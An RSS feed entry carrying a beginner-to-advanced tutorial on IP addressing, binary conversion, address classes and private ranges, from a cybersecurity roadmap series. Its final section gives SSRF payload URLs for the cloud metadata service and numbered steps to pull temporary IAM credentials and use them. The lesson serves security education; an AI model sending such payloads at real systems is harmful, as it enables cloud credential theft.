<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Rençber AKMAN</title>
    <description>The latest articles on DEV Community by Rençber AKMAN (@rencberakman).</description>
    <link>https://dev.to/rencberakman</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3383742%2F6a83ab61-4311-47ac-9356-55034eed8a95.jpeg</url>
      <title>DEV Community: Rençber AKMAN</title>
      <link>https://dev.to/rencberakman</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/rencberakman"/>
    <language>en</language>
    <item>
      <title>Stage 1.4 — IP Addressing and Subnetting</title>
      <dc:creator>Rençber AKMAN</dc:creator>
      <pubDate>Tue, 02 Jun 2026 13:43:31 +0000</pubDate>
      <link>https://dev.to/rencberakman/stage-14-ip-addressing-and-subnetting-54l</link>
      <guid>https://dev.to/rencberakman/stage-14-ip-addressing-and-subnetting-54l</guid>
      <description>&lt;h3&gt;
  
  
  From Zero to Cybersecurity Professional | Complete Roadmap Series
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Series:&lt;/strong&gt; Cybersecurity × OT/ICS Security — Full Roadmap&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Stage:&lt;/strong&gt; 1 — Network Fundamentals&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Module:&lt;/strong&gt; 1.4 — IP Addressing and Subnetting&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Level:&lt;/strong&gt; Beginner → Advanced&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Prerequisites:&lt;/strong&gt; Stage 1.3 — TCP/IP Model&lt;br&gt;&lt;br&gt;
&lt;strong&gt;Next Module:&lt;/strong&gt; 1.5 — Core Protocols&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Why IP Addressing Is a Security Skill, Not Just a Network Skill&lt;/li&gt;
&lt;li&gt;IPv4 Structure — Octets, Binary, and Everything Underneath&lt;/li&gt;
&lt;li&gt;Address Classes — A, B, C and Why They Still Matter&lt;/li&gt;
&lt;li&gt;Public vs Private IP — The Trust Boundary&lt;/li&gt;
&lt;li&gt;CIDR Notation — The Modern Standard&lt;/li&gt;
&lt;li&gt;Subnet Mask Calculation — From Binary to Practice&lt;/li&gt;
&lt;li&gt;Subnetting — Designing and Breaking Networks&lt;/li&gt;
&lt;li&gt;VLSM — Variable Length Subnet Masking&lt;/li&gt;
&lt;li&gt;NAT — Network Address Translation&lt;/li&gt;
&lt;li&gt;PAT — Port Address Translation&lt;/li&gt;
&lt;li&gt;DHCP — How IP Addresses Are Assigned&lt;/li&gt;
&lt;li&gt;DNS — How Names Become Addresses&lt;/li&gt;
&lt;li&gt;DNS Record Types — The Full Map&lt;/li&gt;
&lt;li&gt;IP Addressing in OT/ICS Environments&lt;/li&gt;
&lt;li&gt;Hands-On Exercises&lt;/li&gt;
&lt;li&gt;Module Summary&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. Why IP Addressing Is a Security Skill, Not Just a Network Skill
&lt;/h2&gt;

&lt;p&gt;IP addressing is universally taught as a network engineering topic. Most security courses treat it the same way — cover the basics, move on to "real security." This is a mistake that costs professionals dearly in practice.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Concrete examples of how IP addressing knowledge directly enables or prevents attacks:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reconnaissance:&lt;/strong&gt; Every penetration test begins with identifying the target's IP ranges. CIDR notation determines your scan scope. Understanding which ranges are public vs private tells you what is directly exposed vs behind NAT. Misidentifying the scope means missing assets or scanning out-of-scope systems — both are serious professional failures.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DHCP starvation and rogue DHCP:&lt;/strong&gt; An attacker who understands DHCP's mechanics can exhaust a server's IP pool by repeatedly requesting addresses with spoofed MACs, then deploy a rogue DHCP server that assigns the attacker as the default gateway — a full network MITM without touching a single firewall rule.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DNS as an attack vector:&lt;/strong&gt; DNS is involved in over 90% of malware C2 communications according to Cisco Talos research. DNS cache poisoning, DNS tunnelling, subdomain takeover, dangling CNAME exploitation — all require deep DNS record knowledge to execute or detect.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;NAT traversal:&lt;/strong&gt; Understanding how NAT works is what allows attackers to design C2 channels that reach through NAT (reverse shells, DNS tunnelling, HTTPS beaconing). It is also what allows defenders to understand why a reverse shell works when a bind shell does not.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;VLSM and network segmentation:&lt;/strong&gt; Designing effective network segmentation — separating user VLANs from server VLANs from OT networks — requires VLSM. Reviewing a network architecture for security flaws requires understanding whether the subnetting design actually achieves the intended isolation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;For OT/ICS:&lt;/strong&gt; Substation automation systems, SCADA networks, and industrial control networks all use IP addressing. The specific subnets in use, the address allocation strategy, and the DHCP/DNS configuration determine the lateral movement paths available to an attacker who gains initial access.&lt;/p&gt;

&lt;p&gt;The security mindset for this module: &lt;strong&gt;IP addresses are not just numbers — they are the addressing scheme of the entire attack surface. Every IP, every subnet, every DNS record is a piece of the map.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  2. IPv4 Structure — Octets, Binary, and Everything Underneath
&lt;/h2&gt;

&lt;h3&gt;
  
  
  2.1 The Physical Reality of an IP Address
&lt;/h3&gt;

&lt;p&gt;An IPv4 address is a &lt;strong&gt;32-bit binary number&lt;/strong&gt;. Everything else — the dotted-decimal notation, the subnet masks, the network/host distinction — is a human-readable interpretation of those 32 bits.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;192      .    168     .     1      .    100
11000000   10101000   00000001   01100100

Each group of 8 bits = 1 octet = 1 byte
Range per octet: 0 (00000000) to 255 (11111111)
Total combinations: 2^32 = 4,294,967,296
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.2 Binary Conversion — The Foundation
&lt;/h3&gt;

&lt;p&gt;Every security professional must be able to convert between binary and decimal without a calculator. This is not academic — you will need to calculate network addresses, broadcast addresses, and subnet masks mentally or on paper during exams, interviews, and real assessments.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Positional values in a single octet:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Bit position:  7    6    5    4    3    2    1    0
Value:        128   64   32   16    8    4    2    1

Example: 192 in binary
  192 = 128 + 64 = 10000000 + 01000000 = 11000000 ✓

  Verify: 128 + 64 = 192 ✓

Example: 168 in binary
  168 = 128 + 32 + 8 = 10101000

  Verify: 128 + 32 + 8 = 168 ✓

Example: 255 in binary
  255 = 128 + 64 + 32 + 16 + 8 + 4 + 2 + 1 = 11111111

  This is the maximum value — all bits set.

Example: 0 in binary
  0 = 00000000
  All bits zero.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Decimal to binary — the systematic method:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Convert 172 to binary:

Step 1: Is 172 ≥ 128? YES → bit 7 = 1, remainder = 172 - 128 = 44
Step 2: Is 44 ≥ 64?  NO  → bit 6 = 0
Step 3: Is 44 ≥ 32?  YES → bit 5 = 1, remainder = 44 - 32 = 12
Step 4: Is 12 ≥ 16?  NO  → bit 4 = 0
Step 5: Is 12 ≥ 8?   YES → bit 3 = 1, remainder = 12 - 8 = 4
Step 6: Is 4 ≥ 4?    YES → bit 2 = 1, remainder = 4 - 4 = 0
Step 7: Is 0 ≥ 2?    NO  → bit 1 = 0
Step 8: Is 0 ≥ 1?    NO  → bit 0 = 0

Result: 10101100 = 172 ✓
Verify: 128 + 32 + 8 + 4 = 172 ✓
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Full IP address in binary:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;192.168.1.100

192 = 11000000
168 = 10101000
  1 = 00000001
100 = 01100100

Full binary: 11000000.10101000.00000001.01100100
As integer:  3232235876
As hex:      C0.A8.01.64  →  0xC0A80164
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Python — complete IP representation toolkit
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;ip_analysis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip_str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ipaddress&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;ip_address&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip_str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Binary representation
&lt;/span&gt;    &lt;span class="n"&gt;octets&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ip_str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;binary&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;octets&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Integer representation
&lt;/span&gt;    &lt;span class="n"&gt;ip_int&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# Hex representation
&lt;/span&gt;    &lt;span class="n"&gt;ip_hex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;.&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;02&lt;/span&gt;&lt;span class="n"&gt;X&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;o&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;octets&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;IP Address:  &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip_str&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Binary:      &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;binary&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Integer:     &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip_int&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Hex:         &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip_hex&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Is private:  &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_private&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Is loopback: &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_loopback&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Is multicast:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_multicast&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nf"&gt;ip_analysis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;192.168.1.100&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;ip_analysis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.0.0.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="nf"&gt;ip_analysis&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;8.8.8.8&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2.3 Why Binary Matters for Security
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Subnet calculation:&lt;/strong&gt; Every subnet calculation is a binary operation. The network address is found by ANDing the IP with the subnet mask. Without understanding binary, you cannot verify these calculations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Firewall rules:&lt;/strong&gt; ACLs (Access Control Lists) on routers and firewalls use wildcard masks — the inverse of subnet masks — for matching. &lt;code&gt;192.168.1.0 0.0.0.255&lt;/code&gt; matches the entire 192.168.1.0/24 range. Understanding binary makes wildcard mask manipulation intuitive.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Packet crafting:&lt;/strong&gt; When you use hping3, Scapy, or Nmap with custom IP options, you are manipulating binary fields in IP headers. Knowing the binary representation of IP addresses prevents mistakes that render your tool ineffective.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IP spoofing detection:&lt;/strong&gt; When analysing packet captures, recognising invalid IP address combinations (e.g., a packet claiming to be from 192.168.x.x arriving on a WAN interface) requires knowing which ranges are private and should never appear on public-facing links.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; IP addresses are 32-bit integers dressed up in dotted-decimal notation. Every network operation — subnetting, masking, routing decisions — is binary arithmetic. Professionals who cannot work in binary are operating with a conceptual gap that limits their precision in both attack and defence.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  3. Address Classes — A, B, C and Why They Still Matter
&lt;/h2&gt;

&lt;h3&gt;
  
  
  3.1 The Historical Design
&lt;/h3&gt;

&lt;p&gt;Before CIDR (1993), the internet used a classful addressing scheme where the address itself determined the network/host boundary. The first bits of the address determined the class.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Class A: 0xxxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First bit:    0
  Range:        1.0.0.0 – 126.255.255.255
  Default mask: /8  (255.0.0.0)
  Networks:     126 (0 and 127 reserved)
  Hosts/net:    16,777,214  (2^24 - 2)

  127.0.0.0/8 is reserved for loopback (127.0.0.1 = localhost)

Class B: 10xxxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First bits:   10
  Range:        128.0.0.0 – 191.255.255.255
  Default mask: /16 (255.255.0.0)
  Networks:     16,384
  Hosts/net:    65,534  (2^16 - 2)

Class C: 110xxxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  First bits:   110
  Range:        192.0.0.0 – 223.255.255.255
  Default mask: /24 (255.255.255.0)
  Networks:     2,097,152
  Hosts/net:    254  (2^8 - 2)

Class D: 1110xxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  Range:        224.0.0.0 – 239.255.255.255
  Purpose:      Multicast (not assignable to hosts)
  Examples:     224.0.0.5 (OSPF all routers)
                224.0.0.251 (mDNS)
                239.255.255.250 (SSDP/UPnP)

Class E: 1111xxxx.xxxxxxxx.xxxxxxxx.xxxxxxxx
  Range:        240.0.0.0 – 255.255.255.255
  Purpose:      Reserved/experimental
  255.255.255.255: Limited broadcast
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3.2 Why Classes Still Matter Despite CIDR
&lt;/h3&gt;

&lt;p&gt;CIDR replaced classful addressing, but class knowledge remains essential:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Legacy OT systems:&lt;/strong&gt; PLCs, RTUs, and HMIs from the 1990s-2000s often have hardcoded class-based assumptions in their network stack. Some will only communicate within their class boundary. Some configuration interfaces display class-based defaults. Understanding classes is necessary to diagnose connectivity issues with legacy field devices.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Default subnet masks:&lt;/strong&gt; When someone says "we use 10.x.x.x for internal addressing," the implied default mask is /8 (Class A). When a device is misconfigured with the wrong default mask, it will be unable to communicate outside its perceived local network. Diagnosing this requires knowing the class defaults.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;BGP routing:&lt;/strong&gt; Internet routing tables still include classful prefixes. Understanding why some routes aggregate nicely (along class boundaries) and why others do not requires class knowledge.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security tool output:&lt;/strong&gt; Nmap, Masscan, and other scanners sometimes reference class notation. Vulnerability scanners and SIEM correlation rules may use class-based patterns. Misinterpreting these references causes errors.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Identify address class from command line:&lt;/span&gt;
python3 &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
def ip_class(ip):
    first_octet = int(ip.split('.')[0])
    if first_octet == 0:
        return "Reserved (0.x.x.x)"
    elif 1 &amp;lt;= first_octet &amp;lt;= 126:
        return "Class A (default /8)"
    elif first_octet == 127:
        return "Loopback (127.x.x.x)"
    elif 128 &amp;lt;= first_octet &amp;lt;= 191:
        return "Class B (default /16)"
    elif 192 &amp;lt;= first_octet &amp;lt;= 223:
        return "Class C (default /24)"
    elif 224 &amp;lt;= first_octet &amp;lt;= 239:
        return "Class D (Multicast)"
    elif 240 &amp;lt;= first_octet &amp;lt;= 255:
        return "Class E (Reserved/Experimental)"

test_ips = ["10.0.0.1", "127.0.0.1", "172.16.0.1",
            "192.168.1.1", "8.8.8.8", "224.0.0.5", "240.0.0.1"]
for ip in test_ips:
    print(f"{ip:20} → {ip_class(ip)}")
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key Insight:&lt;/strong&gt; Classful addressing is deprecated but not gone. Legacy OT devices predate CIDR and may exhibit class-based behaviour. Security professionals who only know CIDR will waste hours diagnosing problems that class knowledge would solve in seconds.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  4. Public vs Private IP — The Trust Boundary
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.1 The RFC 1918 Private Ranges
&lt;/h3&gt;

&lt;p&gt;RFC 1918 (1996) defined three address ranges that are never routed on the public internet. These are the "private" address spaces:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10.0.0.0/8
  Range:   10.0.0.0 – 10.255.255.255
  Hosts:   16,777,214
  Class:   A
  Use:     Large enterprises, cloud internal networks, OT networks

172.16.0.0/12
  Range:   172.16.0.0 – 172.31.255.255
  Hosts:   1,048,574
  Class:   B
  Use:     Medium enterprises, Docker default (172.17.0.0/16)

192.168.0.0/16
  Range:   192.168.0.0 – 192.168.255.255
  Hosts:   65,534
  Class:   C
  Use:     Home networks, small offices, most common default
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Why these ranges are "safe" for internal use:&lt;/strong&gt;&lt;br&gt;
ISPs are required (RFC 1918) to filter these ranges at their borders — packets from these addresses should never appear on the internet. If a packet arrives at a WAN interface claiming to come from 192.168.x.x, it is:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A misconfigured device&lt;/li&gt;
&lt;li&gt;A spoofed packet from an attacker (IP spoofing)&lt;/li&gt;
&lt;li&gt;A filtering failure at an upstream ISP&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is the basis of BCP38 — ISPs should implement ingress filtering to drop packets from their customers whose source IP does not match the customer's allocated range.&lt;/p&gt;
&lt;h3&gt;
  
  
  4.2 Other Special Ranges Every Security Professional Must Know
&lt;/h3&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Range              Purpose                              Security Relevance
─────────────────────────────────────────────────────────────────────────
0.0.0.0/8          "This network" — DHCP source        Invalid as source except DHCP discover
127.0.0.0/8        Loopback                             Services binding only to 127.0.0.1 are
                                                        not network-accessible (but can be
                                                        reached via SSRF from the same machine)
100.64.0.0/10      Carrier-grade NAT (CGN)              ISP internal addresses — confuses
                                                        traceroutes, may leak in headers
169.254.0.0/16     APIPA / Link-local                   Assigned by OS when DHCP fails.
                                                        ALSO: AWS/Azure/GCP metadata service
                                                        (169.254.169.254) — critical SSRF target
192.0.2.0/24       TEST-NET-1 (RFC 5737)                Never use in production
198.51.100.0/24    TEST-NET-2 (RFC 5737)                Never use in production
203.0.113.0/24     TEST-NET-3 (RFC 5737)                Never use in production
192.88.99.0/24     6to4 relay (deprecated)              May still appear in older networks
224.0.0.0/4        Multicast                            Routing protocols, service discovery
240.0.0.0/4        Reserved                             Should never appear in normal traffic
255.255.255.255/32 Limited broadcast                    DHCP discover destination
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h3&gt;
  
  
  4.3 The Cloud Metadata Service — Critical SSRF Target
&lt;/h3&gt;

&lt;p&gt;The link-local address 169.254.169.254 deserves special attention. Every major cloud provider (AWS, Azure, GCP, DigitalOcean, etc.) uses this address for their instance metadata service.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;AWS EC2 Metadata Service:
  http://169.254.169.254/latest/meta-data/

  Contains:
    /iam/security-credentials/           ← Temporary IAM credentials
    /iam/security-credentials/&amp;lt;role&amp;gt;/    ← Specific role credentials
    /public-ipv4                         ← Instance's public IP
    /local-ipv4                          ← Instance's private IP
    /hostname                            ← Instance hostname
    /user-data                           ← Startup script (often contains secrets)
    /placement/availability-zone         ← Where this instance is running
    /security-groups                     ← Attached security groups

Azure IMDS (Instance Metadata Service):
  http://169.254.169.254/metadata/instance
  (requires header: Metadata: true)

GCP Metadata Server:
  http://metadata.google.internal/ (resolves to 169.254.169.254)
  http://169.254.169.254/computeMetadata/v1/
  (requires header: Metadata-Flavor: Google)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;SSRF to Cloud Metadata — One of the Most Impactful Attack Chains:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If a web application is vulnerable to SSRF (Server-Side Request Forgery), and it runs on a cloud VM, an attacker can:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Send SSRF payload: &lt;code&gt;http://169.254.169.254/latest/meta-data/iam/security-credentials/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Get the IAM role name from the response&lt;/li&gt;
&lt;li&gt;Send: &lt;code&gt;http://169.254.169.254/latest/meta-data/iam/security-credentials/&amp;lt;role-name&amp;gt;&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Receive: &lt;code&gt;AccessKeyId&lt;/code&gt;, &lt;code&gt;SecretAccessKey&lt;/code&gt;, &lt;code&gt;Token&lt;/code&gt; — temporary AWS credentials&lt;/li&gt;
&lt;li&gt;Use credentials to access S3 buckets, RDS databases, other AWS services&lt;/li&gt;
&lt;/ol&gt;

